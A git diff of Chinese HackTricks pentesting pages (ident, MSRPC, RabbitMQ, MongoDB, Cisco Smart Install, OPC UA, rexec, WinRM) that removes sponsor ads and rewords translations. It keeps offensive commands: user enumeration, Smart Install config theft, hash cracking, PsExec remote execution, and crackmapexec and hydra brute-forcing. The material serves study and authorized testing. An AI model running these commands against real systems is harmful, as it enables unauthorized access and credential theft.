@ -38,7 +31,7 @@ PORT STATE SERVICE
### Nmap
默认情况下(\`-sC\`nmap 将识别每个运行端口的每个用户:
默认情况下(\`-sC\`\`nmap 将识别每个运行端口的每个用户:
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@ -55,7 +48,7 @@ PORT STATE SERVICE VERSION
```
### Ident-user-enum
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) 是一个简单的 PERL 脚本,用于查询 ident 服务 (113/TCP),以确定目标系统上每个 TCP 端口上监听进程的所有者。收集到的用户名列表可用于对其他网络服务进行密码猜测攻击。可以通过 `apt install ident-user-enum` 安装。
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) 是一个简单的 PERL 脚本,用于查询 ident 服务 (113/TCP),以确定目标系统上每个 TCP 端口上监听进程的所有者。收集到的用户名列表可用于对其他网络服务进行密码猜测攻击。可以通过 `apt install ident-user-enum` 安装。
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@ -73,13 +66,6 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
今天获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## HackTricks 自动命令
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.

View File

@ -2,24 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作吧!
## 基本信息
Microsoft Remote Procedure Call (MSRPC) 协议是一种客户端-服务器模型,使程序能够请求位于另一台计算机上的程序提供服务,而无需了解网络的具体细节。该协议最初源于开源软件,后来由微软开发并获得版权。
Microsoft 远程过程调用 (MSRPC) 协议是一种客户端-服务器模型,使程序能够请求位于另一台计算机上的程序提供服务,而无需了解网络的具体细节。该协议最初源于开源软件,后来由 Microsoft 开发并获得版权。
RPC 端点映射器可以通过 TCP 和 UDP 端口 135 访问SMB 在 TCP 139 和 445使用空会话或经过身份验证的会话以及作为 TCP 端口 593 上的 Web 服务。
```
@ -27,13 +12,13 @@ RPC 端点映射器可以通过 TCP 和 UDP 端口 135 访问SMB 在 TCP 139
```
## MSRPC是如何工作的
由客户端应用程序发起MSRPC过程涉及调用本地存根过程然后与客户端运行时库交互以准备并将请求传输到服务器。这包括将参数转换为标准网络数据表示格式。如果服务器是远程的传输协议的选择由运行时库决定确保RPC通过网络栈传递。
由客户端应用程序发起MSRPC过程涉及调用本地存根过程然后与客户端运行时库交互以准备并传输请求到服务器。这包括将参数转换为标准网络数据表示格式。如果服务器是远程的传输协议的选择由运行时库决定确保RPC通过网络栈传递。
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
## **识别暴露的RPC服务**
通过查询RPC定位服务和各个端点可以确定通过TCP、UDP、HTTP和SMB暴露的RPC服务。工具如rpcdump有助于识别唯一的RPC服务以**IFID**值表示,揭示服务细节和通信绑定:
通过查询RPC定位服务和各个端点可以确定通过TCP、UDP、HTTP和SMB暴露的RPC服务。工具如rpcdump有助于识别独特的RPC服务以**IFID**值表示,揭示服务细节和通信绑定:
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -51,7 +36,7 @@ rpcdump.py <IP> -p 135
```
所有选项除了 `tcp_dcerpc_auditor` 都是专门针对端口 135 上的 MSRPC 进行攻击设计的。
#### 知名 RPC 接口
#### 显著的 RPC 接口
- **IFID**: 12345778-1234-abcd-ef00-0123456789ab
- **命名管道**: `\pipe\lsarpc`
@ -86,7 +71,7 @@ rpcdump.py <IP> -p 135
### 使用有效凭据执行 RCE
如果有有效用户的凭据,可以在机器上执行远程代码,使用来自 impacket 框架的 [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py)。
如果有有效用户的凭据,可以使用来自 impacket 框架的 [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) 在机器上执行远程代码
**记得尝试不同的可用对象**
@ -104,19 +89,4 @@ rpcdump.py <IP> -p 135
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
及时了解最新的漏洞赏金发布和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作吧!
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,17 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**漏洞赏金提示**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
## 基本信息
您可以在 [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md) 中了解更多关于 RabbitMQ 的信息。\
如果启用了 [管理插件](https://www.rabbitmq.com/management.html),您可以在此端口找到 RabbitMQ 管理网页控制台。\
主页面应该看起来像这样
在此端口,如果启用了 [management plugin](https://www.rabbitmq.com/management.html),您可能会找到 RabbitMQ 管理网页控制台。\
主页应如下所示
![](<../images/image (336).png>)
@ -31,7 +27,7 @@ service rabbitmq-server restart
此外,如果您拥有有效的凭据,您可能会发现 `http://localhost:15672/api/connections` 的信息很有趣。
还要注意,可以使用此服务的 API 通过如下请求**在队列中发布数据**
还要注意,使用此服务的 API您可以通过以下请求**在队列中发布数据**
```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist
- `port:15672 http`
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**漏洞赏金提示**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,24 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
## 基本信息
**MongoDB** 是一个 **开源** 数据库管理系统,使用 **文档导向数据库模型** 来处理多种形式的数据。它为管理非结构化或半结构化数据提供了灵活性和可扩展性,适用于大数据分析和内容管理等应用。 **默认端口:** 27017, 27018
**MongoDB** 是一个 **开源** 数据库管理系统,使用 **文档导向数据库模型** 来处理多种形式的数据。它为管理非结构化或半结构化数据提供了灵活性和可扩展性,适用于大数据分析和内容管理等应用。**默认端口:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
@ -84,20 +69,20 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not
示例 [来自这里](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)。
Mongo Object IDs**12 字节十六进制** 字符串:
Mongo 对象 ID**12 字节十六进制** 字符串:
![http://techidiocy.com/_id-objectid-in-mongodb/](../images/id-and-ObjectIds-in-MongoDB.png)
例如,以下是我们如何解析应用程序返回的实际 Object ID5f2459ac9fa6dc2500314019
例如,以下是我们如何解析应用程序返回的实际对象 ID5f2459ac9fa6dc2500314019
1. 5f2459ac: 1596217772 的十进制 = 2020年7月31日星期五 17:49:32
2. 9fa6dc: 机器标识符
3. 2500: 进程 ID
4. 314019: 增量计数器
在上述元素中,机器标识符在数据库运行相同物理/虚拟机时将保持不变。进程 ID 仅在 MongoDB 进程重启时更改。时间戳每秒更新一次。通过简单地递增计数器和时间戳值来猜测 Object IDs 的唯一挑战在于 Mongo DB 在系统级别生成和分配 Object IDs
在上述元素中,机器标识符在数据库运行相同物理/虚拟机时将保持不变。进程 ID 仅在 MongoDB 进程重启时更改。时间戳每秒更新。通过简单地递增计数器和时间戳值来猜测对象 ID 的唯一挑战在于 Mongo DB 在系统级别生成和分配对象 ID
工具 [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict),给定一个起始 Object ID您可以创建一个帐户并获取起始 ID它会返回大约 1000 个可能分配给下一个对象的 Object IDs,因此您只需对它们进行暴力破解。
工具 [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) 在给定起始对象 ID您可以创建一个帐户并获取起始 ID,返回大约 1000 个可能分配给下一个对象的对象 ID,因此您只需对它们进行暴力破解。
## Post
@ -105,19 +90,4 @@ Mongo Object IDs 是 **12 字节十六进制** 字符串:
---
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作吧!
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,10 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 基本信息
**Cisco Smart Install** 是思科设计的一种工具,用于自动化新思科硬件初始配置和操作系统镜像加载。**默认情况下Cisco Smart Install 在思科硬件上处于活动状态,并使用传输层协议 TCP端口号为 4786。**
**Cisco Smart Install** 是思科设计的一种自动化新思科硬件初始配置和操作系统镜像加载的工具。**默认情况下Cisco Smart Install 在思科硬件上处于活动状态,并使用传输层协议 TCP端口号为 4786。**
**默认端口:** 4786
```
@ -25,11 +22,11 @@ PORT STATE SERVICE
- 调用RCE
- 偷取网络设备的配置。
**该** [**SIET**](https://github.com/frostbits-security/SIET) **(智能安装利用工具)**是为了利用这个漏洞而开发的它允许你滥用Cisco Smart Install。在本文中我将向你展示如何读取合法的网络硬件配置文件。配置外泄对渗透测试者来说是有价值的,因为它将了解网络的独特特性。这将使生活更轻松,并允许找到新的攻击向量。
**该** [**SIET**](https://github.com/frostbits-security/SIET) **(智能安装利用工具)**是为利用此漏洞而开发的它允许您滥用Cisco Smart Install。在本文中我将向您展示如何读取合法的网络硬件配置文件。配置外泄对渗透测试人员来说是有价值的,因为它将了解网络的独特特性。这将使生活更轻松,并允许找到新的攻击向量。
**目标设备将是一个“在线”的Cisco Catalyst 2960交换机。虚拟镜像没有Cisco Smart Install因此只能在真实硬件上进行练习。**
**目标设备将是一个“在线”的Cisco Catalyst 2960交换机。虚拟镜像没有Cisco Smart Install因此只能在真实硬件上进行练习。**
目标交换机的地址是**10.10.100.10CSI处于活动状态。**加载SIET并开始攻击。**-g参数**表示从设备中提取配置,**-i参数**允许设置易受攻击目标的IP地址。
目标交换机的地址是**10.10.100.10CSI处于活动状态。**加载SIET并开始攻击。**-g参数**表示从设备中提取配置,**-i参数**允许设置易受攻击目标的IP地址。
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
@ -39,8 +36,5 @@ PORT STATE SERVICE
<figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,19 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本信息
**OPC UA**,即**开放平台通信统一访问**,是一个在制造、能源、航空航天和国防等多个行业中用于数据交换和设备控制的重要开源协议。它独特地使不同供应商的设备能够进行通信特别是与PLC的通信。
**OPC UA**,即**开放平台通信统一访问**是一个在制造、能源、航空航天和国防等多个行业中用于数据交换和设备控制的重要开源协议。它独特地使不同厂商的设备能够进行通信特别是与PLC的通信。
其配置允许强大的安全措施,但通常为了与旧设备的兼容性,这些措施会减弱,从而使系统面临风险。此外,查找OPC UA服务可能很棘手,因为网络扫描仪可能无法检测到它们,如果它们位于非标准端口上。
其配置允许强大的安全措施但为了与旧设备的兼容性这些措施往往会减弱从而使系统面临风险。此外寻找OPC UA服务可能会很棘手因为网络扫描仪可能无法检测到它们如果它们位于非标准端口上。
**默认端口:** 4840
```text
@ -23,7 +15,7 @@ PORT STATE SERVICE REASON
```
## Pentesting OPC UA
要揭示OPC UA服务器中的安全问题请使用[OpalOPC](https://opalopc.com/)进行扫描。
要揭示 OPC UA 服务器中的安全问题,请使用 [OpalOPC](https://opalopc.com/) 进行扫描。
```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
@ -41,12 +33,5 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,17 +2,10 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找允许您提升权限的安全问题并使用自动化漏洞收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本信息
这是一项**允许您在主机内部执行命令的服务**,前提是您知道有效的**凭据**(用户名和密码)。
它是一个服务,**允许您在主机内部执行命令**,如果您知道有效的**凭据**(用户名和密码)。
**默认端口:** 512
```
@ -21,12 +14,5 @@ PORT STATE SERVICE
```
### [**暴力破解**](../generic-hacking/brute-force.md#rexec)
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,24 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) 被微软强调为一种 **协议**,使得通过 HTTP(S) 进行 **Windows 系统的远程管理** 成为可能,并在此过程中利用 SOAP。它基本上由 WMI 驱动,呈现为 WMI 操作的基于 HTTP 的接口。
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) 被强调为 **微软****远程管理 Windows 系统****协议**,通过 HTTP(S) 实现,并在此过程中利用 SOAP。它基本上由 WMI 驱动,呈现为 WMI 操作的基于 HTTP 的接口。
机器上存在 WinRM 允许通过 PowerShell 进行简单的远程管理,类似于 SSH 在其他操作系统中的工作方式。要确定 WinRM 是否正常运行,建议检查特定端口的开放情况:
@ -30,12 +15,12 @@
### **启动 WinRM 会话**
要为 WinRM 配置 PowerShell微软的 `Enable-PSRemoting` cmdlet 将发挥作用,设置计算机以接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任:
要为 WinRM 配置 PowerShell微软的 `Enable-PSRemoting` cmdlet 被使用,以设置计算机接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步骤需要谨慎考虑其影响。还注意到,可能需要在攻击者的机器上将网络类型从 "Public" 更改为 "Work"
这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步骤需要谨慎考虑其影响。还注意到,可能需要在攻击者的机器上将网络类型从“公共”更改为“工作”
此外,可以使用 `wmic` 命令**远程激活** WinRM示例如下
```powershell
@ -47,7 +32,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
要验证攻击机器的设置,使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
- 对于**已**正确配置的目标,输出将类似于以下内容
- 对于一个 **已** 正确配置的目标,输出将类似于:
```bash
Test-WSMan <target-ip>
```
@ -67,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
您还可以通过 _**Invoke-Command**_ **执行当前 PS 控制台的命令**。假设您在本地有一个名为 _**enumeration**_ 的函数,并且您想要在远程计算机上 **执行它**,您可以这样做:
您还可以通过 _**Invoke-Command**_ **在当前 PS 控制台中执行命令**。假设您在本地有一个名为 _**enumeration**_ 的函数,并且您想要 **在远程计算机上执行它**,您可以这样做:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -104,13 +89,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **强制打开 WinRM**
要使用 PS Remoting 和 WinRM但计算机未配置可以通过以下方式启用它
要使用 PS Remoting 和 WinRM但计算机未配置可以通过以下方式启用它:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### 保存和恢复会话
如果远程计算机的**语言**受到**限制**,则此**方法**将**无效**。
如果远程计算机的**语言**受到**限制**,则此**将无法工作**。
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -137,26 +122,11 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
## 在Linux中连接WinRM
## WinRM 在 Linux 中的连接
### 暴力破解
请小心暴力破解winrm可能会阻止用户。
请小心,暴力破解 winrm 可能会阻止用户。
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -291,19 +261,4 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
及时了解最新的漏洞赏金发布和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More